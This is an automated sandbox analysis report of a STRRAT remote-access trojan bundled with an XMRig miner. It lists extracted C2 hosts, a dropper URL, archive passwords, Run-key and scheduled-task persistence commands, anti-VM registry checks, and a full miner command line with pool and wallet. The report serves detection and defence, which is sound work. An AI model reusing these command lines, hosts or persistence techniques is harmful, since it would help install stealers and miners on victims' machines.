strrat | 4e0ddcd303f27c01dcc8a35a9bd821c53fb7dcca474ac7f0c84d3c6451e9f778

Analysis

max time kernel
1370s
max time network
1797s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
14/04/2024, 10:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
14052163e50c197697c64b143.exe
Size 17.6MB
Sample240414-mkd3fafh76
SHA256 4e0ddcd303f27c01dcc8a35a9bd821c53fb7dcca474ac7f0c84d3c6451e9f778
MD5 14052163e50c197697c64b1431b42271
SHA1 df301332faa73c3d5f915fde61df2fc9de21a61a
SHA512 124f6fb9812fe56fc9428a53206e67ada7a5221bbac08204c52fc9df970a492f133ac3911b1cfd2a76c58b8921580f58b2f8d32db7395442549bdfefafc3bfab
SSDEEP 393216:LOh37DR+wwmOoDxRz016TCORfagi8boLH6fQmQa9T1AE0Grq:g/FRxRzlRfPeLajLlg
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

strrat xmrig evasion miner persistence stealer trojan

Malware Config

Extracted

Family

strrat

rar.ydns.eu:9999
svchost.ydns.eu:10000

Attributes

license_id
khonsari
plugins_url
http://jbfrost.live/strigoi/server/?hwid=1&lid=m&ht=5
scheduled_task
false
secondary_startup
false
startup
true

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://files.catbox.moe/fvl5hy.jpg

Signatures

STRRAT
STRRAT is a remote access tool than can steal credentials and log keystrokes.
trojan stealer strrat
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	x.exe

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral1/memory/1236-3530-0x0000000000110000-0x0000000000C21000-memory.dmp	xmrig
behavioral1/memory/1236-3560-0x0000000000110000-0x0000000000C21000-memory.dmp	xmrig

Blocklisted process makes network request 50 IoCs

flow	pid	Process
6	2444	wscript.exe
14	2444	wscript.exe
17	2616	powershell.exe
18	2616	powershell.exe
25	2444	wscript.exe
35	2444	wscript.exe
43	2444	wscript.exe
49	2444	wscript.exe
51	2444	wscript.exe
55	2444	wscript.exe
61	2444	wscript.exe
71	2444	wscript.exe
78	2444	wscript.exe
85	2444	wscript.exe
88	2444	wscript.exe
97	2444	wscript.exe
104	2444	wscript.exe
110	2444	wscript.exe
119	2444	wscript.exe
121	2444	wscript.exe
122	2444	wscript.exe
124	2444	wscript.exe
125	2444	wscript.exe
126	2444	wscript.exe
133	2444	wscript.exe
140	2444	wscript.exe
147	2444	wscript.exe
154	2444	wscript.exe
156	2444	wscript.exe
157	2444	wscript.exe
159	2444	wscript.exe
160	2444	wscript.exe
161	2444	wscript.exe
163	2444	wscript.exe
164	2444	wscript.exe
165	2444	wscript.exe
167	2444	wscript.exe
168	2444	wscript.exe
169	2444	wscript.exe
174	2444	wscript.exe
180	2444	wscript.exe
186	2444	wscript.exe
195	2444	wscript.exe
200	2444	wscript.exe
206	2444	wscript.exe
213	2444	wscript.exe
219	2444	wscript.exe
225	2444	wscript.exe
230	2444	wscript.exe
234	2444	wscript.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	x.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	x.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Antimalware Service Executable.JS	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Antimalware Service Executable.JS	wscript.exe

Executes dropped EXE 64 IoCs

pid	Process
2784	EmbraTor Mac Smash Bullet.exe
1912	x.exe
1792	CL_Debug_Log.txt
1348	Helper.exe
2824	Helper.exe
2840	Helper.exe
2376	Helper.exe
1256	Helper.exe
1908	tor.exe
1980	Helper.exe
1912	Helper.exe
932	Helper.exe
2784	Helper.exe
2776	Helper.exe
2316	Helper.exe
1664	Helper.exe
1752	Helper.exe
696	Helper.exe
2592	Helper.exe
2944	Helper.exe
2892	Helper.exe
2348	Helper.exe
1860	Helper.exe
2748	Helper.exe
1792	Helper.exe
2336	Helper.exe
2220	Helper.exe
1848	Helper.exe
2632	Helper.exe
1724	Helper.exe
3036	Helper.exe
548	Helper.exe
1856	Helper.exe
2096	Helper.exe
2184	Helper.exe
3000	Helper.exe
2652	Helper.exe
1956	Helper.exe
1544	Helper.exe
2760	Helper.exe
2328	Helper.exe
3020	Helper.exe
2868	Helper.exe
560	Helper.exe
1612	Helper.exe
932	Helper.exe
2140	Helper.exe
1712	Helper.exe
2588	Helper.exe
2560	Helper.exe
1528	Helper.exe
1368	Helper.exe
1736	Helper.exe
2720	Helper.exe
548	Helper.exe
2488	Helper.exe
496	Helper.exe
1844	Helper.exe
2572	Helper.exe
2216	Helper.exe
2904	Helper.exe
2452	Helper.exe
1704	Helper.exe
2264	Helper.exe

Identifies Wine through registry keys 2 TTPs 1 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Wine	x.exe

Loads dropped DLL 16 IoCs

pid	Process
2860	14052163e50c197697c64b143.exe
2860	14052163e50c197697c64b143.exe
3032	WScript.exe
1912	x.exe
1680	taskeng.exe
1680	taskeng.exe
1800	Process not Found
2840	Helper.exe
2840	Helper.exe
1908	tor.exe
1908	tor.exe
1908	tor.exe
1908	tor.exe
1908	tor.exe
1908	tor.exe
2616	Process not Found

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Windows\CurrentVersion\Run\Antimalware Service Executable = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\Antimalware Service Executable.JS\""	WScript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Antimalware Service Executable = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\Antimalware Service Executable.JS\""	WScript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Windows\CurrentVersion\Run\Antimalware Service Executable = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\Antimalware Service Executable.JS\""	wscript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Antimalware Service Executable = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\Antimalware Service Executable.JS\""	wscript.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

AutoIT Executable 5 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/memory/1912-57-0x0000000000370000-0x0000000001596000-memory.dmp	autoit_exe
behavioral1/memory/1912-97-0x0000000000370000-0x0000000001596000-memory.dmp	autoit_exe
behavioral1/files/0x00060000000164aa-107.dat	autoit_exe
behavioral1/files/0x000700000001621e-115.dat	autoit_exe
behavioral1/memory/1912-118-0x0000000000370000-0x0000000001596000-memory.dmp	autoit_exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 2840 set thread context of 1256	2840	Helper.exe	68
PID 2840 set thread context of 2220	2840	Helper.exe	101
PID 2840 set thread context of 1236	2840	Helper.exe	104

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1332	schtasks.exe

Delays execution with timeout.exe 24 IoCs

evasion

pid	Process
2752	timeout.exe
572	timeout.exe
2168	timeout.exe
2288	timeout.exe
2952	timeout.exe
2948	timeout.exe
888	timeout.exe
2152	timeout.exe
684	timeout.exe
1988	timeout.exe
2252	timeout.exe
1688	timeout.exe
2520	timeout.exe
952	timeout.exe
912	timeout.exe
1616	timeout.exe
2428	timeout.exe
2312	timeout.exe
2348	timeout.exe
2836	timeout.exe
1696	timeout.exe
2332	timeout.exe
2652	timeout.exe
1812	timeout.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\winmgmts:\QGTQZTRE\root\CIMV2	Helper.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2616	powershell.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2840	Helper.exe

Suspicious use of AdjustPrivilegeToken 15 IoCs

description	pid	Process
Token: SeDebugPrivilege	2616	powershell.exe
Token: SeRestorePrivilege	1792	CL_Debug_Log.txt
Token: 35	1792	CL_Debug_Log.txt
Token: SeSecurityPrivilege	1792	CL_Debug_Log.txt
Token: SeSecurityPrivilege	1792	CL_Debug_Log.txt
Token: SeRestorePrivilege	1256	Helper.exe
Token: 35	1256	Helper.exe
Token: SeSecurityPrivilege	1256	Helper.exe
Token: SeSecurityPrivilege	1256	Helper.exe
Token: SeRestorePrivilege	2220	Helper.exe
Token: 35	2220	Helper.exe
Token: SeSecurityPrivilege	2220	Helper.exe
Token: SeSecurityPrivilege	2220	Helper.exe
Token: SeLockMemoryPrivilege	1236	attrib.exe
Token: SeLockMemoryPrivilege	1236	attrib.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
1912	x.exe
1912	x.exe
1912	x.exe
1348	Helper.exe
1348	Helper.exe
1348	Helper.exe
2824	Helper.exe
2824	Helper.exe
2824	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2376	Helper.exe
2376	Helper.exe
2376	Helper.exe
1912	Helper.exe
1912	Helper.exe
1912	Helper.exe
1980	Helper.exe
1980	Helper.exe
1980	Helper.exe
2784	Helper.exe
2784	Helper.exe
2784	Helper.exe
932	Helper.exe
932	Helper.exe
932	Helper.exe
2316	Helper.exe
2316	Helper.exe
2316	Helper.exe
2776	Helper.exe
2776	Helper.exe
2776	Helper.exe
1664	Helper.exe
1664	Helper.exe
1664	Helper.exe
1752	Helper.exe
1752	Helper.exe
1752	Helper.exe
696	Helper.exe
696	Helper.exe
696	Helper.exe
2592	Helper.exe
2592	Helper.exe
2592	Helper.exe
2944	Helper.exe
2944	Helper.exe
2944	Helper.exe
2892	Helper.exe
2892	Helper.exe
2892	Helper.exe
2348	Helper.exe
2348	Helper.exe
2348	Helper.exe
1860	Helper.exe
1860	Helper.exe
1860	Helper.exe
2748	Helper.exe
2748	Helper.exe
2748	Helper.exe
1792	Helper.exe
1792	Helper.exe
1792	Helper.exe
2336	Helper.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
1912	x.exe
1912	x.exe
1912	x.exe
1348	Helper.exe
1348	Helper.exe
1348	Helper.exe
2824	Helper.exe
2824	Helper.exe
2824	Helper.exe
2840	Helper.exe
2840	Helper.exe
2840	Helper.exe
2376	Helper.exe
2376	Helper.exe
2376	Helper.exe
1912	Helper.exe
1912	Helper.exe
1912	Helper.exe
1980	Helper.exe
1980	Helper.exe
1980	Helper.exe
2784	Helper.exe
2784	Helper.exe
2784	Helper.exe
932	Helper.exe
932	Helper.exe
932	Helper.exe
2316	Helper.exe
2316	Helper.exe
2316	Helper.exe
2776	Helper.exe
2776	Helper.exe
2776	Helper.exe
1664	Helper.exe
1664	Helper.exe
1664	Helper.exe
1752	Helper.exe
1752	Helper.exe
1752	Helper.exe
696	Helper.exe
696	Helper.exe
696	Helper.exe
2592	Helper.exe
2592	Helper.exe
2592	Helper.exe
2944	Helper.exe
2944	Helper.exe
2944	Helper.exe
2892	Helper.exe
2892	Helper.exe
2892	Helper.exe
2348	Helper.exe
2348	Helper.exe
2348	Helper.exe
1860	Helper.exe
1860	Helper.exe
1860	Helper.exe
2748	Helper.exe
2748	Helper.exe
2748	Helper.exe
1792	Helper.exe
1792	Helper.exe
1792	Helper.exe
2336	Helper.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2784	EmbraTor Mac Smash Bullet.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2860 wrote to memory of 2520	2860	14052163e50c197697c64b143.exe	28
PID 2860 wrote to memory of 2520	2860	14052163e50c197697c64b143.exe	28
PID 2860 wrote to memory of 2520	2860	14052163e50c197697c64b143.exe	28
PID 2860 wrote to memory of 2520	2860	14052163e50c197697c64b143.exe	28
PID 2860 wrote to memory of 3032	2860	14052163e50c197697c64b143.exe	29
PID 2860 wrote to memory of 3032	2860	14052163e50c197697c64b143.exe	29
PID 2860 wrote to memory of 3032	2860	14052163e50c197697c64b143.exe	29
PID 2860 wrote to memory of 3032	2860	14052163e50c197697c64b143.exe	29
PID 2860 wrote to memory of 2632	2860	14052163e50c197697c64b143.exe	30
PID 2860 wrote to memory of 2632	2860	14052163e50c197697c64b143.exe	30
PID 2860 wrote to memory of 2632	2860	14052163e50c197697c64b143.exe	30
PID 2860 wrote to memory of 2632	2860	14052163e50c197697c64b143.exe	30
PID 2860 wrote to memory of 2624	2860	14052163e50c197697c64b143.exe	31
PID 2860 wrote to memory of 2624	2860	14052163e50c197697c64b143.exe	31
PID 2860 wrote to memory of 2624	2860	14052163e50c197697c64b143.exe	31
PID 2860 wrote to memory of 2624	2860	14052163e50c197697c64b143.exe	31
PID 2860 wrote to memory of 2784	2860	14052163e50c197697c64b143.exe	32
PID 2860 wrote to memory of 2784	2860	14052163e50c197697c64b143.exe	32
PID 2860 wrote to memory of 2784	2860	14052163e50c197697c64b143.exe	32
PID 2860 wrote to memory of 2784	2860	14052163e50c197697c64b143.exe	32
PID 2632 wrote to memory of 2616	2632	WScript.exe	33
PID 2632 wrote to memory of 2616	2632	WScript.exe	33
PID 2632 wrote to memory of 2616	2632	WScript.exe	33
PID 2632 wrote to memory of 2616	2632	WScript.exe	33
PID 2520 wrote to memory of 2444	2520	WScript.exe	35
PID 2520 wrote to memory of 2444	2520	WScript.exe	35
PID 2520 wrote to memory of 2444	2520	WScript.exe	35
PID 2520 wrote to memory of 2444	2520	WScript.exe	35
PID 3032 wrote to memory of 1912	3032	WScript.exe	37
PID 3032 wrote to memory of 1912	3032	WScript.exe	37
PID 3032 wrote to memory of 1912	3032	WScript.exe	37
PID 3032 wrote to memory of 1912	3032	WScript.exe	37
PID 1912 wrote to memory of 1792	1912	x.exe	39
PID 1912 wrote to memory of 1792	1912	x.exe	39
PID 1912 wrote to memory of 1792	1912	x.exe	39
PID 1912 wrote to memory of 1792	1912	x.exe	39
PID 1912 wrote to memory of 1552	1912	x.exe	42
PID 1912 wrote to memory of 1552	1912	x.exe	42
PID 1912 wrote to memory of 1552	1912	x.exe	42
PID 1912 wrote to memory of 1552	1912	x.exe	42
PID 1552 wrote to memory of 1332	1552	cmd.exe	44
PID 1552 wrote to memory of 1332	1552	cmd.exe	44
PID 1552 wrote to memory of 1332	1552	cmd.exe	44
PID 1552 wrote to memory of 1332	1552	cmd.exe	44
PID 1912 wrote to memory of 320	1912	x.exe	45
PID 1912 wrote to memory of 320	1912	x.exe	45
PID 1912 wrote to memory of 320	1912	x.exe	45
PID 1912 wrote to memory of 320	1912	x.exe	45
PID 320 wrote to memory of 912	320	cmd.exe	47
PID 320 wrote to memory of 912	320	cmd.exe	47
PID 320 wrote to memory of 912	320	cmd.exe	47
PID 320 wrote to memory of 912	320	cmd.exe	47
PID 320 wrote to memory of 1616	320	cmd.exe	48
PID 320 wrote to memory of 1616	320	cmd.exe	48
PID 320 wrote to memory of 1616	320	cmd.exe	48
PID 320 wrote to memory of 1616	320	cmd.exe	48
PID 320 wrote to memory of 572	320	cmd.exe	49
PID 320 wrote to memory of 572	320	cmd.exe	49
PID 320 wrote to memory of 572	320	cmd.exe	49
PID 320 wrote to memory of 572	320	cmd.exe	49
PID 320 wrote to memory of 684	320	cmd.exe	50
PID 320 wrote to memory of 684	320	cmd.exe	50
PID 320 wrote to memory of 684	320	cmd.exe	50
PID 320 wrote to memory of 684	320	cmd.exe	50

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1236	attrib.exe

C:\Users\Admin\AppData\Local\Temp\14052163e50c197697c64b143.exe
"C:\Users\Admin\AppData\Local\Temp\14052163e50c197697c64b143.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2860
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Antimalware Service Executable.JS"
  2⤵
  - Drops startup file
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:2520
- - C:\Windows\SysWOW64\wscript.exe
    "C:\Windows\System32\wscript.exe" //B "C:\Users\Admin\AppData\Roaming\Antimalware Service Executable.JS"
    3⤵
    - Blocklisted process makes network request
    - Drops startup file
    - Adds Run key to start application
    PID:2444
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\MsMpEng.js"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:3032
- - C:\Users\Admin\AppData\Local\Temp\x.exe
    "C:\Users\Admin\AppData\Local\Temp\x.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Loads dropped DLL
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:1912
  - - C:\Users\Admin\AppData\Local\Temp\CL_Debug_Log.txt
      C:\Users\Admin\AppData\Local\Temp\CL_Debug_Log.txt e -p"JDQJndnqwdnqw2139dn21n3b312idDQDB" "C:\Users\Admin\AppData\Local\Temp\CR_Debug_Log.txt" -o"C:\Users\Admin\AppData\Local\Temp\"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:1792
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks.exe /Create /XML "C:\Users\Admin\AppData\Local\Temp\SystemCheck.xml" /TN "System\SystemCheck"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1552
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks.exe /Create /XML "C:\Users\Admin\AppData\Local\Temp\SystemCheck.xml" /TN "System\SystemCheck"
        5⤵
        Creates scheduled task(s)
        
        PID:1332
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c For /L %i In (0,0,0) Do (del "C:\Users\Admin\AppData\Local\Temp\x.exe"&&timeout /t 0&&if not exist "C:\Users\Admin\AppData\Local\Temp\x.exe" exit)
      4⤵
      Suspicious use of WriteProcessMemory
      PID:320
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 0
        5⤵
        Delays execution with timeout.exe
        
        PID:912
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 0
        5⤵
        Delays execution with timeout.exe
        
        PID:1616
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 0
        5⤵
        Delays execution with timeout.exe
        
        PID:572
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 0
        5⤵
        Delays execution with timeout.exe
        
        PID:684
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 0
        5⤵
        Delays execution with timeout.exe
        
        PID:2168
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 0
        5⤵
        Delays execution with timeout.exe
        
        PID:2288
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 0
        5⤵
        Delays execution with timeout.exe
        
        PID:2348
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 0
        5⤵
        Delays execution with timeout.exe
        
        PID:1988
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 0
        5⤵
        Delays execution with timeout.exe
        
        PID:2952
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 0
        5⤵
        Delays execution with timeout.exe
        
        PID:2948
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 0
        5⤵
        Delays execution with timeout.exe
        
        PID:888
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 0
        5⤵
        Delays execution with timeout.exe
        
        PID:2252
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 0
        5⤵
        Delays execution with timeout.exe
        
        PID:2836
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 0
        5⤵
        Delays execution with timeout.exe
        
        PID:1696
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 0
        5⤵
        Delays execution with timeout.exe
        
        PID:2332
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 0
        5⤵
        Delays execution with timeout.exe
        
        PID:1688
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 0
        5⤵
        Delays execution with timeout.exe
        
        PID:2752
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 0
        5⤵
        Delays execution with timeout.exe
        
        PID:2652
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 0
        5⤵
        Delays execution with timeout.exe
        
        PID:2428
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 0
        5⤵
        Delays execution with timeout.exe
        
        PID:2520
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 0
        5⤵
        Delays execution with timeout.exe
        
        PID:952
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 0
        5⤵
        Delays execution with timeout.exe
        
        PID:2152
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 0
        5⤵
        Delays execution with timeout.exe
        
        PID:2312
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 0
        5⤵
        Delays execution with timeout.exe
        
        PID:1812
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Windows Driver Foundation.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2632
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\ProgramData\rrrrrrrr.ps1"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2616
- C:\Program Files\Java\jre7\bin\javaw.exe
  "C:\Program Files\Java\jre7\bin\javaw.exe" -jar "C:\Users\Admin\AppData\Local\Temp\Java Install.jar"
  2⤵
  PID:2624
- C:\Users\Admin\AppData\Local\Temp\EmbraTor Mac Smash Bullet.exe
  "C:\Users\Admin\AppData\Local\Temp\EmbraTor Mac Smash Bullet.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:2784

C:\Windows\system32\taskeng.exe
taskeng.exe {E4A6FD6E-8467-4F3B-B1A7-96B6884631D9} S-1-5-21-3452737119-3959686427-228443150-1000:QGTQZTRE\Admin:Interactive:[1]
1⤵
- Loads dropped DLL
PID:1680
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:2824
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    - Executes dropped EXE
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:2376
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:1348
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    - NTFS ADS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:2840
  - - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
      7z e -p"DxSqsNKKOxqPrM4Y3xeK" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor.tmp" -o"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:1256
  - - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\tor.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\tor.exe" -f TorConfig
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1908
  - - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
      7z e -p"DxSqsNKKOxqPrM4Y3xeK" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SysBackup.tmp" -o"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:2220
  - - C:\Windows\System32\attrib.exe
      -a RandomX -o stratum+tcp://xmr.2miners.com:2222 -u 8BayjhYeujm9whuyNMsrd46tWdEd4JfAPfq6nXn1S4zrLzB9dduLbPuFPb3M2ZRFtfa6Zugfv5643AuBbmP8PDHaS3hQDdi.fhaw -p x -t 6
      4⤵
      Suspicious use of AdjustPrivilegeToken
      Views/modifies file attributes
      PID:1236
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:1980
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    - Executes dropped EXE
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:2784
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:1912
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    - Executes dropped EXE
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:932
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:2776
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:2316
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    - Executes dropped EXE
